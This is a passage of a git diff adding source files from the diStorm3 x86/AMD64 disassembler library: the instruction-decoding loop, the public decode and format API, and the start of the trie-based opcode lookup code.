+ di->size = (uint8_t)((ci->code - startCode) & 0xff);
+ return DECRES_SUCCESS;
+
+_Undecodable: /* If the instruction couldn't be decoded for some reason, drop the first byte. */
+ COMPAT(memset)(di, 0, sizeof(_DInst));
+ di->base = R_NONE;
+
+ di->size = 1;
+ /* Clean prefixes just in case... */
+ ps->usedPrefixes = 0;
+
+ /* Special case for WAIT instruction: If it's dropped, you have to return a valid instruction! */
+ if (*startCode == INST_WAIT_INDEX) {
+ di->opcode = I_WAIT;
+ META_SET_ISC(di, ISC_INTEGER);
+ return DECRES_SUCCESS;
+ }
+
+ /* Mark that we didn't manage to decode the instruction well, caller will drop it. */
+ return DECRES_INPUTERR;
+}
+
+/*
+ * decode_internal
+ *
+ * supportOldIntr - Since now we work with new structure instead of the old _DecodedInst, we are still interested in backward compatibility.
+ * So although, the array is now of type _DInst, we want to read it in jumps of the old array element's size.
+ * This is in order to save memory allocation for conversion between the new and the old structures.
+ * It really means we can do the conversion in-place now.
+ */
+_DecodeResult decode_internal(_CodeInfo* _ci, int supportOldIntr, _DInst result[], unsigned int maxResultCount, unsigned int* usedInstructionsCount)
+{
+ _PrefixState ps;
+ unsigned int prefixSize;
+ _CodeInfo ci;
+ unsigned int features;
+ unsigned int mfc;
+
+ _OffsetType codeOffset = _ci->codeOffset;
+ const uint8_t* code = _ci->code;
+ int codeLen = _ci->codeLen;
+
+ /*
+ * This is used for printing only, it is the real offset of where the whole instruction begins.
+ * We need this variable in addition to codeOffset, because prefixes might change the real offset an instruction begins at.
+ * So we keep track of both.
+ */
+ _OffsetType startInstOffset = 0;
+
+ const uint8_t* p;
+
+ /* Current working decoded instruction in results. */
+ unsigned int nextPos = 0;
+ _DInst *pdi = NULL;
+
+ _OffsetType addrMask = (_OffsetType)-1;
+
+ _DecodeResult decodeResult;
+
+#ifdef DISTORM_LIGHT
+ (void) supportOldIntr; /* Unreferenced. */
+
+ /*
+ * Only truncate address if we are using the decompose interface.
+ * Otherwise, we use the textual interface which needs full addresses for formatting bytes output.
+ * So distorm_format will truncate later.
+ */
+ if (_ci->features & DF_MAXIMUM_ADDR32) addrMask = 0xffffffff;
+ else if (_ci->features & DF_MAXIMUM_ADDR16) addrMask = 0xffff;
+#endif
+
+ /* No entries are used yet. */
+ *usedInstructionsCount = 0;
+ ci.dt = _ci->dt;
+ _ci->nextOffset = codeOffset;
+
+ /* Decode instructions as long as we have what to decode/enough room in entries. */
+ while (codeLen > 0) {
+
+ /* startInstOffset holds the displayed offset of current instruction. */
+ startInstOffset = codeOffset;
+
+ COMPAT(memset)(&ps, 0, (size_t)((char*)&ps.pfxIndexer[0] - (char*)&ps));
+ COMPAT(memset)(ps.pfxIndexer, PFXIDX_NONE, sizeof(int) * PFXIDX_MAX);
+ ps.start = code;
+ ps.last = code;
+ prefixSize = 0;
+
+ if (prefixes_is_valid(*code, ci.dt)) {
+ prefixes_decode(code, codeLen, &ps, ci.dt);
+ /* Count prefixes, start points to first prefix. */
+ prefixSize = (unsigned int)(ps.last - ps.start);
+ /*
+ * It might be that we will just notice that we ran out of bytes, or only prefixes
+ * so we will have to drop everything and halt.
+ * Also take into consideration of flow control instruction filter.
+ */
+ codeLen -= prefixSize;
+ if ((codeLen == 0) || (prefixSize == INST_MAXIMUM_SIZE)) {
+ if (~_ci->features & DF_RETURN_FC_ONLY) {
+ /* Make sure there is enough room. */
+ if (nextPos + (ps.last - code) > maxResultCount) return DECRES_MEMORYERR;
+
+ for (p = code; p < ps.last; p++, startInstOffset++) {
+ /* Use next entry. */
+#ifndef DISTORM_LIGHT
+ if (supportOldIntr) {
+ pdi = (_DInst*)((char*)result + nextPos * sizeof(_DecodedInst));
+ }
+ else
+#endif /* DISTORM_LIGHT */
+ {
+ pdi = &result[nextPos];
+ }
+ nextPos++;
+ COMPAT(memset)(pdi, 0, sizeof(_DInst));
+
+ pdi->flags = FLAG_NOT_DECODABLE;
+ pdi->imm.byte = *p;
+ pdi->size = 1;
+ pdi->addr = startInstOffset & addrMask;
+ }
+ *usedInstructionsCount = nextPos; /* Include them all. */
+ }
+ if (codeLen == 0) break; /* Bye bye, out of bytes. */
+ }
+ code += prefixSize;
+ codeOffset += prefixSize;
+
+ /* If we got only prefixes continue to next instruction. */
+ if (prefixSize == INST_MAXIMUM_SIZE) continue;
+ }
+
+ /*
+ * Now we decode the instruction and only then we do further prefixes handling.
+ * This is because the instruction could not be decoded at all, or an instruction requires
+ * a mandatory prefix, or some of the prefixes were useless, etc...
+
+ * Even if there were a mandatory prefix, we already took into account its size as a normal prefix.
+ * so prefixSize includes that, and the returned size in pdi is simply the size of the real(=without prefixes) instruction.
+ */
+ if (ci.dt == Decode64Bits) {
+ if (ps.decodedPrefixes & INST_PRE_REX) {
+ /* REX prefix must precede first byte of instruction. */
+ if (ps.rexPos != (code - 1)) {
+ ps.decodedPrefixes &= ~INST_PRE_REX;
+ ps.prefixExtType = PET_NONE;
+ prefixes_ignore(&ps, PFXIDX_REX);
+ }
+ /*
+ * We will disable operand size prefix,
+ * if it exists only after decoding the instruction, since it might be a mandatory prefix.
+ * This will be done after calling inst_lookup in decode_inst.
+ */
+ }
+ /* In 64 bits, segment overrides of CS, DS, ES and SS are ignored. So don't take'em into account. */
+ if (ps.decodedPrefixes & INST_PRE_SEGOVRD_MASK32) {
+ ps.decodedPrefixes &= ~INST_PRE_SEGOVRD_MASK32;
+ prefixes_ignore(&ps, PFXIDX_SEG);
+ }
+ }
+
+ /* Make sure there is at least one more entry to use, for the upcoming instruction. */
+ if (nextPos + 1 > maxResultCount) return DECRES_MEMORYERR;
+#ifndef DISTORM_LIGHT
+ if (supportOldIntr) {
+ pdi = (_DInst*)((char*)result + nextPos * sizeof(_DecodedInst));
+ }
+ else
+#endif /* DISTORM_LIGHT */
+ {
+ pdi = &result[nextPos];
+ }
+ nextPos++;
+
+ /*
+ * The reason we copy these two again is because we have to keep track on the input ourselves.
+ * There might be a case when an instruction is invalid, and then it will be counted as one byte only.
+ * But that instruction already read a byte or two from the stream and only then returned the error.
+ * Thus, we end up unsynchronized on the stream.
+ * This way, we are totally safe, because we keep track after the call to decode_inst, using the returned size.
+ */
+ ci.code = code;
+ ci.codeLen = codeLen;
+ /* Nobody uses codeOffset in the decoder itself, so spare it. */
+
+ decodeResult = decode_inst(&ci, &ps, pdi);
+
+ /* See if we need to filter this instruction. */
+ if ((_ci->features & DF_RETURN_FC_ONLY) && (META_GET_FC(pdi->meta) == FC_NONE)) decodeResult = DECRES_FILTERED;
+
+ /* Set address to the beginning of the instruction. */
+ pdi->addr = startInstOffset & addrMask;
+ /* pdi->disp &= addrMask; */
+
+ if ((decodeResult == DECRES_INPUTERR) && (ps.decodedPrefixes & INST_PRE_VEX)) {
+ if (ps.prefixExtType == PET_VEX3BYTES) {
+ prefixSize -= 2;
+ codeLen += 2;
+ } else if (ps.prefixExtType == PET_VEX2BYTES) {
+ prefixSize -= 1;
+ codeLen += 1;
+ }
+ ps.last = ps.start + prefixSize - 1;
+ code = ps.last + 1;
+ codeOffset = startInstOffset + prefixSize;
+ } else {
+ /* Advance to next instruction. */
+ codeLen -= pdi->size;
+ codeOffset += pdi->size;
+ code += pdi->size;
+
+ /* Instruction's size should include prefixes. */
+ pdi->size += (uint8_t)prefixSize;
+ }
+
+ /* Drop all prefixes and the instruction itself, because the instruction wasn't successfully decoded. */
+ if ((decodeResult == DECRES_INPUTERR) && (~_ci->features & DF_RETURN_FC_ONLY)) {
+ nextPos--; /* Undo last result. */
+ if ((prefixSize + 1) > 0) { /* 1 for the first instruction's byte. */
+ if ((nextPos + prefixSize + 1) > maxResultCount) return DECRES_MEMORYERR;
+
+ for (p = ps.start; p < ps.last + 1; p++, startInstOffset++) {
+ /* Use next entry. */
+#ifndef DISTORM_LIGHT
+ if (supportOldIntr) {
+ pdi = (_DInst*)((char*)result + nextPos * sizeof(_DecodedInst));
+ }
+ else
+#endif /* DISTORM_LIGHT */
+ {
+ pdi = &result[nextPos];
+ }
+ nextPos++;
+
+ COMPAT(memset)(pdi, 0, sizeof(_DInst));
+ pdi->flags = FLAG_NOT_DECODABLE;
+ pdi->imm.byte = *p;
+ pdi->size = 1;
+ pdi->addr = startInstOffset & addrMask;
+ }
+ }
+ } else if (decodeResult == DECRES_FILTERED) nextPos--; /* Return it to pool, since it was filtered. */
+
+ /* Alright, the caller can read, at least, up to this one. */
+ *usedInstructionsCount = nextPos;
+ /* Fix next offset. */
+ _ci->nextOffset = codeOffset;
+
+ /* Check whether we need to stop on any flow control instruction. */
+ features = _ci->features;
+ mfc = META_GET_FC(pdi->meta);
+ if ((decodeResult == DECRES_SUCCESS) && (features & DF_STOP_ON_FLOW_CONTROL)) {
+ if (((features & DF_STOP_ON_CALL) && (mfc == FC_CALL)) ||
+ ((features & DF_STOP_ON_RET) && (mfc == FC_RET)) ||
+ ((features & DF_STOP_ON_SYS) && (mfc == FC_SYS)) ||
+ ((features & DF_STOP_ON_UNC_BRANCH) && (mfc == FC_UNC_BRANCH)) ||
+ ((features & DF_STOP_ON_CND_BRANCH) && (mfc == FC_CND_BRANCH)) ||
+ ((features & DF_STOP_ON_INT) && (mfc == FC_INT)) ||
+ ((features & DF_STOP_ON_CMOV) && (mfc == FC_CMOV)))
+ return DECRES_SUCCESS;
+ }
+ }
+
+ return DECRES_SUCCESS;
+}
diff --git a/source/distorm/decoder.h b/source/distorm/decoder.h
new file mode 100644
index 0000000..2f9961a
--- /dev/null
+++ b/source/distorm/decoder.h
@@ -0,0 +1,33 @@
+/*
+decoder.h
+
+diStorm3 - Powerful disassembler for X86/AMD64
+http://ragestorm.net/distorm/
+distorm at gmail dot com
+Copyright (C) 2011 Gil Dabah
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with this program. If not, see <http://www.gnu.org/licenses/>
+*/
+
+
+#ifndef DECODER_H
+#define DECODER_H
+
+#include "config.h"
+
+typedef unsigned int _iflags;
+
+_DecodeResult decode_internal(_CodeInfo* ci, int supportOldIntr, _DInst result[], unsigned int maxResultCount, unsigned int* usedInstructionsCount);
+
+#endif /* DECODER_H */
diff --git a/source/distorm/distorm.c b/source/distorm/distorm.c
new file mode 100644
index 0000000..94279e6
--- /dev/null
+++ b/source/distorm/distorm.c
@@ -0,0 +1,409 @@
+/*
+distorm.c
+
+diStorm3 C Library Interface
+diStorm3 - Powerful disassembler for X86/AMD64
+http://ragestorm.net/distorm/
+distorm at gmail dot com
+Copyright (C) 2003-2016 Gil Dabah
+This library is licensed under the BSD license. See the file COPYING.
+*/
+
+
+#include "distorm/distorm.h"
+#include "config.h"
+#include "decoder.h"
+#include "x86defs.h"
+#include "textdefs.h"
+#include "wstring.h"
+#include "distorm/mnemonics.h"
+#include "compat.h"
+
+/* C DLL EXPORTS */
+#ifdef SUPPORT_64BIT_OFFSET
+ _DLLEXPORT_ _DecodeResult distorm_decompose64(_CodeInfo* ci, _DInst result[], unsigned int maxInstructions, unsigned int* usedInstructionsCount)
+#else
+ _DLLEXPORT_ _DecodeResult distorm_decompose32(_CodeInfo* ci, _DInst result[], unsigned int maxInstructions, unsigned int* usedInstructionsCount)
+#endif
+{
+ if (usedInstructionsCount == NULL) {
+ return DECRES_SUCCESS;
+ }
+
+ /* DECRES_SUCCESS still may indicate we may have something in the result, so zero it first thing. */
+ *usedInstructionsCount = 0;
+
+ if ((ci == NULL) ||
+ (ci->codeLen < 0) ||
+ ((ci->dt != Decode16Bits) && (ci->dt != Decode32Bits) && (ci->dt != Decode64Bits)) ||
+ (ci->code == NULL) ||
+ (result == NULL) ||
+ ((ci->features & (DF_MAXIMUM_ADDR16 | DF_MAXIMUM_ADDR32)) == (DF_MAXIMUM_ADDR16 | DF_MAXIMUM_ADDR32)))
+ {
+ return DECRES_INPUTERR;
+ }
+
+ /* Assume length=0 is success. */
+ if (ci->codeLen == 0) {
+ return DECRES_SUCCESS;
+ }
+
+ return decode_internal(ci, FALSE, result, maxInstructions, usedInstructionsCount);
+}
+
+#ifndef DISTORM_LIGHT
+
+/* Helper function to concatenate an explicit size when it's unknown from the operands. */
+static void distorm_format_size(_WString* str, const _DInst* di, int opNum)
+{
+ int isSizingRequired = 0;
+ /*
+ * We only have to output the size explicitly if it's not clear from the operands.
+ * For example:
+ * mov al, [0x1234] -> The size is 8, we know it from the AL register operand.
+ * mov [0x1234], 0x11 -> Now we don't know the size. Pam pam pam
+ *
+ * If given operand number is higher than 2, then output the size anyways.
+ */
+ isSizingRequired = ((opNum >= 2) || ((di->ops[0].type != O_REG) && (di->ops[1].type != O_REG)));
+
+ /* Still not sure? Try some special instructions. */
+ if (!isSizingRequired) {
+ /*
+ * INS/OUTS are exception, because DX is a port specifier and not a real src/dst register.
+ * A few exceptions that always requires sizing:
+ * MOVZX, MOVSX, MOVSXD.
+ * ROL, ROR, RCL, RCR, SHL, SHR, SAL, SAR.
+ * SHLD, SHRD.
+ */
+ switch (di->opcode)
+ {
+ case I_INS:
+ case I_OUTS:
+ case I_MOVZX:
+ case I_MOVSX:
+ case I_MOVSXD:
+ case I_ROL:
+ case I_ROR:
+ case I_RCL:
+ case I_RCR:
+ case I_SHL:
+ case I_SHR:
+ case I_SAL:
+ case I_SAR:
+ case I_SHLD:
+ case I_SHRD:
+ isSizingRequired = 1;
+ break;
+ default: /* Instruction doesn't require sizing. */ break;
+ }
+ }
+
+ if (isSizingRequired)
+ {
+ switch (di->ops[opNum].size)
+ {
+ case 0: break; /* OT_MEM's unknown size. */
+ case 8: strcat_WSN(str, "BYTE "); break;
+ case 16: strcat_WSN(str, "WORD "); break;
+ case 32: strcat_WSN(str, "DWORD "); break;
+ case 64: strcat_WSN(str, "QWORD "); break;
+ case 80: strcat_WSN(str, "TBYTE "); break;
+ case 128: strcat_WSN(str, "DQWORD "); break;
+ case 256: strcat_WSN(str, "YWORD "); break;
+ default: /* Big oh uh if it gets here. */ break;
+ }
+ }
+}
+
+static void distorm_format_signed_disp(_WString* str, const _DInst* di, uint64_t addrMask)
+{
+ int64_t tmpDisp64;
+
+ if (di->dispSize) {
+ chrcat_WS(str, ((int64_t)di->disp < 0) ? MINUS_DISP_CHR : PLUS_DISP_CHR);
+ if ((int64_t)di->disp < 0) tmpDisp64 = -(int64_t)di->disp;
+ else tmpDisp64 = di->disp;
+ tmpDisp64 &= addrMask;
+ str_code_hqw(str, (uint8_t*)&tmpDisp64);
+ }
+}
+
+#ifdef SUPPORT_64BIT_OFFSET
+ _DLLEXPORT_ void distorm_format64(const _CodeInfo* ci, const _DInst* di, _DecodedInst* result)
+#else
+ _DLLEXPORT_ void distorm_format32(const _CodeInfo* ci, const _DInst* di, _DecodedInst* result)
+#endif
+{
+ _WString* str;
+ unsigned int i, isDefault;
+ int64_t tmpDisp64;
+ uint64_t addrMask = (uint64_t)-1;
+ uint8_t segment;
+ const _WMnemonic* mnemonic;
+
+ /* Set address mask, when default is for 64bits addresses. */
+ if (ci->features & DF_MAXIMUM_ADDR32) addrMask = 0xffffffff;
+ else if (ci->features & DF_MAXIMUM_ADDR16) addrMask = 0xffff;
+
+ /* Copy other fields. */
+ result->size = di->size;
+ result->offset = di->addr;
+
+ if (di->flags == FLAG_NOT_DECODABLE) {
+ str = &result->mnemonic;
+ result->offset &= addrMask;
+ strclear_WS(&result->operands);
+ strcpy_WSN(str, "DB ");
+ str_code_hb(str, di->imm.byte);
+ strclear_WS(&result->instructionHex);
+ str_hex_b(&result->instructionHex, di->imm.byte);
+ return; /* Skip to next instruction. */
+ }
+
+ str = &result->instructionHex;
+ strclear_WS(str);
+ /* Gotta have full address for (di->addr - ci->codeOffset) to work in all modes. */
+ for (i = 0; i < di->size; i++)
+ str_hex_b(str, ci->code[(unsigned int)(di->addr - ci->codeOffset + i)]);
+
+ /* Truncate address now. */
+ result->offset &= addrMask;
+
+ str = &result->mnemonic;
+ switch (FLAG_GET_PREFIX(di->flags))
+ {
+ case FLAG_LOCK:
+ strcpy_WSN(str, "LOCK ");
+ break;
+ case FLAG_REP:
+ /* REP prefix for CMPS and SCAS is really a REPZ. */
+ if ((di->opcode == I_CMPS) || (di->opcode == I_SCAS)) strcpy_WSN(str, "REPZ ");
+ else strcpy_WSN(str, "REP ");
+ break;
+ case FLAG_REPNZ:
+ strcpy_WSN(str, "REPNZ ");
+ break;
+ default:
+ /* Init mnemonic string, cause next touch is concatenation. */
+ strclear_WS(str);
+ break;
+ }
+
+ mnemonic = (const _WMnemonic*)&_MNEMONICS[di->opcode];
+ COMPAT(memcpy)((int8_t*)&str->p[str->length], mnemonic->p, mnemonic->length + 1);
+ str->length += mnemonic->length;
+
+ /* Format operands: */
+ str = &result->operands;
+ strclear_WS(str);
+
+ /* Special treatment for String instructions. */
+ if ((META_GET_ISC(di->meta) == ISC_INTEGER) &&
+ ((di->opcode == I_MOVS) ||
+ (di->opcode == I_CMPS) ||
+ (di->opcode == I_STOS) ||
+ (di->opcode == I_LODS) ||
+ (di->opcode == I_SCAS)))
+ {
+ /*
+ * No operands are needed if the address size is the default one,
+ * and no segment is overridden, so add the suffix letter,
+ * to indicate size of operation and continue to next instruction.
+ */
+ if ((FLAG_GET_ADDRSIZE(di->flags) == ci->dt) && (SEGMENT_IS_DEFAULT(di->segment))) {
+ str = &result->mnemonic;
+ switch (di->ops[0].size)
+ {
+ case 8: chrcat_WS(str, 'B'); break;
+ case 16: chrcat_WS(str, 'W'); break;
+ case 32: chrcat_WS(str, 'D'); break;
+ case 64: chrcat_WS(str, 'Q'); break;
+ }
+ return;
+ }
+ }
+
+ for (i = 0; ((i < OPERANDS_NO) && (di->ops[i].type != O_NONE)); i++) {
+ if (i > 0) strcat_WSN(str, ", ");
+ switch (di->ops[i].type)
+ {
+ case O_REG:
+ strcat_WS(str, (const _WString*)&_REGISTERS[di->ops[i].index]);
+ break;
+ case O_IMM:
+ /* If the instruction is 'push', show explicit size (except byte imm). */
+ if ((di->opcode == I_PUSH) && (di->ops[i].size != 8)) distorm_format_size(str, di, i);
+ /* Special fix for negative sign extended immediates. */
+ if ((di->flags & FLAG_IMM_SIGNED) && (di->ops[i].size == 8)) {
+ if (di->imm.sbyte < 0) {
+ chrcat_WS(str, MINUS_DISP_CHR);
+ str_code_hb(str, -di->imm.sbyte);
+ break;
+ }
+ }
+ if (di->ops[i].size == 64) str_code_hqw(str, (uint8_t*)&di->imm.qword);
+ else str_code_hdw(str, di->imm.dword);
+ break;
+ case O_IMM1:
+ str_code_hdw(str, di->imm.ex.i1);
+ break;
+ case O_IMM2:
+ str_code_hdw(str, di->imm.ex.i2);
+ break;
+ case O_DISP:
+ distorm_format_size(str, di, i);
+ chrcat_WS(str, OPEN_CHR);
+ if ((SEGMENT_GET(di->segment) != R_NONE) && !SEGMENT_IS_DEFAULT(di->segment)) {
+ strcat_WS(str, (const _WString*)&_REGISTERS[SEGMENT_GET(di->segment)]);
+ chrcat_WS(str, SEG_OFF_CHR);
+ }
+ tmpDisp64 = di->disp & addrMask;
+ str_code_hqw(str, (uint8_t*)&tmpDisp64);
+ chrcat_WS(str, CLOSE_CHR);
+ break;
+ case O_SMEM:
+ distorm_format_size(str, di, i);
+ chrcat_WS(str, OPEN_CHR);
+
+ /*
+ * This is where we need to take special care for String instructions.
+ * If we got here, it means we need to explicitly show their operands.
+ * The problem with CMPS and MOVS is that they have two(!) memory operands.
+ * So we have to complete it ourselves, since the structure supplies only the segment that can be overridden.
+ * And make the rest of the String operations explicit.
+ */
+ segment = SEGMENT_GET(di->segment);
+ isDefault = SEGMENT_IS_DEFAULT(di->segment);
+ switch (di->opcode)
+ {
+ case I_MOVS:
+ isDefault = FALSE;
+ if (i == 0) segment = R_ES;
+ break;
+ case I_CMPS:
+ isDefault = FALSE;
+ if (i == 1) segment = R_ES;
+ break;
+ case I_INS:
+ case I_LODS:
+ case I_STOS:
+ case I_SCAS: isDefault = FALSE; break;
+ }
+ if (!isDefault && (segment != R_NONE)) {
+ strcat_WS(str, (const _WString*)&_REGISTERS[segment]);
+ chrcat_WS(str, SEG_OFF_CHR);
+ }
+
+ strcat_WS(str, (const _WString*)&_REGISTERS[di->ops[i].index]);
+
+ distorm_format_signed_disp(str, di, addrMask);
+ chrcat_WS(str, CLOSE_CHR);
+ break;
+ case O_MEM:
+ distorm_format_size(str, di, i);
+ chrcat_WS(str, OPEN_CHR);
+ if ((SEGMENT_GET(di->segment) != R_NONE) && !SEGMENT_IS_DEFAULT(di->segment)) {
+ strcat_WS(str, (const _WString*)&_REGISTERS[SEGMENT_GET(di->segment)]);
+ chrcat_WS(str, SEG_OFF_CHR);
+ }
+ if (di->base != R_NONE) {
+ strcat_WS(str, (const _WString*)&_REGISTERS[di->base]);
+ chrcat_WS(str, PLUS_DISP_CHR);
+ }
+ strcat_WS(str, (const _WString*)&_REGISTERS[di->ops[i].index]);
+ if (di->scale != 0) {
+ chrcat_WS(str, '*');
+ if (di->scale == 2) chrcat_WS(str, '2');
+ else if (di->scale == 4) chrcat_WS(str, '4');
+ else /* if (di->scale == 8) */ chrcat_WS(str, '8');
+ }
+
+ distorm_format_signed_disp(str, di, addrMask);
+ chrcat_WS(str, CLOSE_CHR);
+ break;
+ case O_PC:
+#ifdef SUPPORT_64BIT_OFFSET
+ str_off64(str, (di->imm.sqword + di->addr + di->size) & addrMask);
+#else
+ str_code_hdw(str, ((_OffsetType)di->imm.sdword + di->addr + di->size) & (uint32_t)addrMask);
+#endif
+ break;
+ case O_PTR:
+ str_code_hdw(str, di->imm.ptr.seg);
+ chrcat_WS(str, SEG_OFF_CHR);
+ str_code_hdw(str, di->imm.ptr.off);
+ break;
+ }
+ }
+
+ if (di->flags & FLAG_HINT_TAKEN) strcat_WSN(str, " ;TAKEN");
+ else if (di->flags & FLAG_HINT_NOT_TAKEN) strcat_WSN(str, " ;NOT TAKEN");
+}
+
+#ifdef SUPPORT_64BIT_OFFSET
+ _DLLEXPORT_ _DecodeResult distorm_decode64(_OffsetType codeOffset, const unsigned char* code, int codeLen, _DecodeType dt, _DecodedInst result[], unsigned int maxInstructions, unsigned int* usedInstructionsCount)
+#else
+ _DLLEXPORT_ _DecodeResult distorm_decode32(_OffsetType codeOffset, const unsigned char* code, int codeLen, _DecodeType dt, _DecodedInst result[], unsigned int maxInstructions, unsigned int* usedInstructionsCount)
+#endif
+{
+ _DecodeResult res;
+ _DInst di;
+ _CodeInfo ci;
+ unsigned int instsCount = 0, i;
+
+ *usedInstructionsCount = 0;
+
+ /* I use codeLen as a signed variable in order to ease detection of underflow... and besides - */
+ if (codeLen < 0) {
+ return DECRES_INPUTERR;
+ }
+
+ if ((dt != Decode16Bits) && (dt != Decode32Bits) && (dt != Decode64Bits)) {
+ return DECRES_INPUTERR;
+ }
+
+ if (code == NULL || result == NULL) {
+ return DECRES_INPUTERR;
+ }
+
+ /* Assume length=0 is success. */
+ if (codeLen == 0) {
+ return DECRES_SUCCESS;
+ }
+
+ /*
+ * We have to format the result into text. But the interal decoder works with the new structure of _DInst.
+ * Therefore, we will pass the result array(!) from the caller and the interal decoder will fill it in with _DInst's.
+ * Then we will copy each result to a temporary structure, and use it to reformat that specific result.
+ *
+ * This is all done to save memory allocation and to work on the same result array in-place!!!
+ * It's a bit ugly, I have to admit, but worth it.
+ */
+
+ ci.codeOffset = codeOffset;
+ ci.code = code;
+ ci.codeLen = codeLen;
+ ci.dt = dt;
+ ci.features = DF_NONE;
+ if (dt == Decode16Bits) ci.features = DF_MAXIMUM_ADDR16;
+ else if (dt == Decode32Bits) ci.features = DF_MAXIMUM_ADDR32;
+
+ res = decode_internal(&ci, TRUE, (_DInst*)result, maxInstructions, &instsCount);
+ for (i = 0; i < instsCount; i++) {
+ if ((*usedInstructionsCount + i) >= maxInstructions) return DECRES_MEMORYERR;
+
+ /* Copy the current decomposed result to a temp structure, so we can override the result with text. */
+ COMPAT(memcpy)(&di, (char*)result + (i * sizeof(_DecodedInst)), sizeof(_DInst));
+#ifdef SUPPORT_64BIT_OFFSET
+ distorm_format64(&ci, &di, &result[i]);
+#else
+ distorm_format32(&ci, &di, &result[i]);
+#endif
+ }
+
+ *usedInstructionsCount = instsCount;
+ return res;
+}
+
+#endif /* DISTORM_LIGHT */
diff --git a/source/distorm/instructions.c b/source/distorm/instructions.c
new file mode 100644
index 0000000..5c1561b
--- /dev/null
+++ b/source/distorm/instructions.c
@@ -0,0 +1,598 @@
+/*
+instructions.c
+
+diStorm3 - Powerful disassembler for X86/AMD64
+http://ragestorm.net/distorm/
+distorm at gmail dot com
+Copyright (C) 2003-2016 Gil Dabah
+This library is licensed under the BSD license. See the file COPYING.
+*/
+
+
+#include "instructions.h"
+
+#include "insts.h"
+#include "prefix.h"
+#include "x86defs.h"
+#include "distorm/mnemonics.h"
+#include "compat.h"
+
+
+/* Helper macros to extract the type or index from an inst-node value. */
+#define INST_NODE_INDEX(n) ((n) & 0x1fff)
+#define INST_NODE_TYPE(n) ((n) >> 13)
+
+/* Helper macro to read the actual flags that are associated with an inst-info. */
+#define INST_INFO_FLAGS(ii) (FlagsTable[InstSharedInfoTable[(ii)->sharedIndex].flagsIndex])
+
+/*
+I use the trie data structure as I found it most fitting to a disassembler mechanism.
+When you read a byte and have to decide if it's enough or you should read more bytes, 'till you get to the instruction information.
+It's really fast because you POP the instruction info in top 3 iterates on the DB, because an instruction can be formed from two bytes + 3 bits reg from the ModR/M byte.
+For a simple explanation, check this out:
+http://www.csse.monash.edu.au/~lloyd/tildeAlgDS/Tree/Trie/
+Further reading: http://en.wikipedia.org/wiki/Trie
+
+The first GATE (array you read off a trie data structure), as I call them, is statically allocated by the compiler.
+The second and third gates if used are being allocated dynamically by the instructions-insertion functionality.
+
+How would such a thing look in memory, say we support 4 instructions with 3 bytes top (means 2 dynamically allocated gates).
+
+->
+|-------| 0,
+|0| -------------------------------> |-------|
+|1|RET | 1, |0|AND |
+|2| -----> |-------| |1|XOR |
+|3|INT3 | |0|PUSH | |2|OR | 0,3,
+|-------| |1|POP | |3| --------->|-------|
+ |2|PUSHF| |-------| |0|ROR |
+ |3|POPF | |1|ROL |
+ |-------| |2|SHR |
+ |3|SHL |
+ |-------|
+
+Of course, this is NOT how Intel instructions set looks!!!
+but I just wanted to give a small demonstration.
+Now the instructions you get from such a trie DB goes like this:
+
+0, 0 - AND
+0, 1 - XOR
+0, 2 - OR
+0, 3, 0, ROR
+0, 3, 1, ROL
+0, 3, 2, SHR
+0, 3, 3, SHL
+1 - RET
+2, 0 - PUSH
+2, 1 - POP
+2, 2 - PUSHF
+2, 3 - POPF
+3 - INT3
+
+I guess it's clear by now.
+So now, if you read 0, you know that you have to enter the second gate(list) with the second byte specifying the index.
+But if you read 1, you know that you go to an instruction (in this case, a RET).
+That's why there's an Instruction-Node structure, it tells you whether you got to an instruction or another list
+so you should keep on reading byte).
+
+In Intel, you could go through 4 gates at top, because there are instructions which are built from 2 bytes and another smaller list
+for the REG part, or newest SSE4 instructions which use 4 bytes for opcode.
+Therefore, Intel's first gate is 256 long, and other gates are 256 (/72) or 8 long, yes, it costs pretty much a lot of memory
+for non-used defined instructions, but I think that it still rocks.
+*/
+
+/*
+ * A helper function to look up the correct inst-info structure.
+ * It does one fetch from the index-table, and then another to get the inst-info.
+ * Note that it takes care about basic inst-info or inst-info-ex.
+ * The caller should worry about boundary checks and whether it accesses a last-level table.
+ */
+static _InstInfo* inst_get_info(_InstNode in, int index)
+{
+ int instIndex = 0;
+
+ in = InstructionsTree[INST_NODE_INDEX(in) + index];
+ if (in == INT_NOTEXISTS) return NULL;
+
+ instIndex = INST_NODE_INDEX(in);
+ return INST_NODE_TYPE(in) == INT_INFO ? &InstInfos[instIndex] : (_InstInfo*)&InstInfosEx[instIndex];
+}
+
+/*
+ * This function is responsible to return the instruction information of the first found in code.
+ * It returns the _InstInfo of the found instruction, otherwise NULL.
+ * code should point to the ModR/M byte upon exit (if used), or after the instruction binary code itself.
+ * This function is NOT decoding-type dependant, it is up to the caller to see whether the instruction is valid.
+ * Get the instruction info, using a Trie data structure.
+ *
+ * Sometimes normal prefixes become mandatory prefixes, which means they are now part of the instruction opcode bytes.
+
+ * This is a bit tricky now,
+ * if the first byte is a REP (F3) prefix, we will have to give a chance to an SSE instruction.
+ * If an instruction doesn't exist, we will make it as a prefix and re-locateinst.
+ * A case such that a REP prefix is being changed into an instruction byte and also an SSE instruction will not be found can't happen,
+ * simply because there are no collisions between string instruction and SSE instructions (they are escaped).
+
+ * As for S/SSE2/3, check for F2 and 66 as well.
+
+ * In 64 bits, we have to make sure that we will skip the REX prefix, if it exists.
+ * There's a specific case, where a 66 is mandatory but it was dropped because REG.W was used,
+ * but it doesn't behave as an operand size prefix but as a mandatory, so we will have to take it into account.
+
+ * For example (64 bits decoding mode):
+ * 66 98 CBW
+ * 48 98 CDQE
+ * 66 48 98: db 0x66; CDQE
+ * Shows that operand size is dropped.
+
+ * Now, it's a mandatory prefix and NOT an operand size one.
+ * 66480f2dc0 db 0x48; CVTPD2PI XMM0, XMM0
+ * Although this instruction doesn't require a REX.W, it just shows, that even if it did - it doesn't matter.
+ * REX.W is dropped because it's not required, but the decode function disabled the operand size even so.
+ */
+static _InstInfo* inst_lookup_prefixed(_InstNode in, _PrefixState* ps)
+{
+ int checkOpSize = FALSE;
+ int index = 0;
+ _InstInfo* ii = NULL;
+
+ /* Check prefixes of current decoded instruction (None, 0x66, 0xf3, 0xf2). */
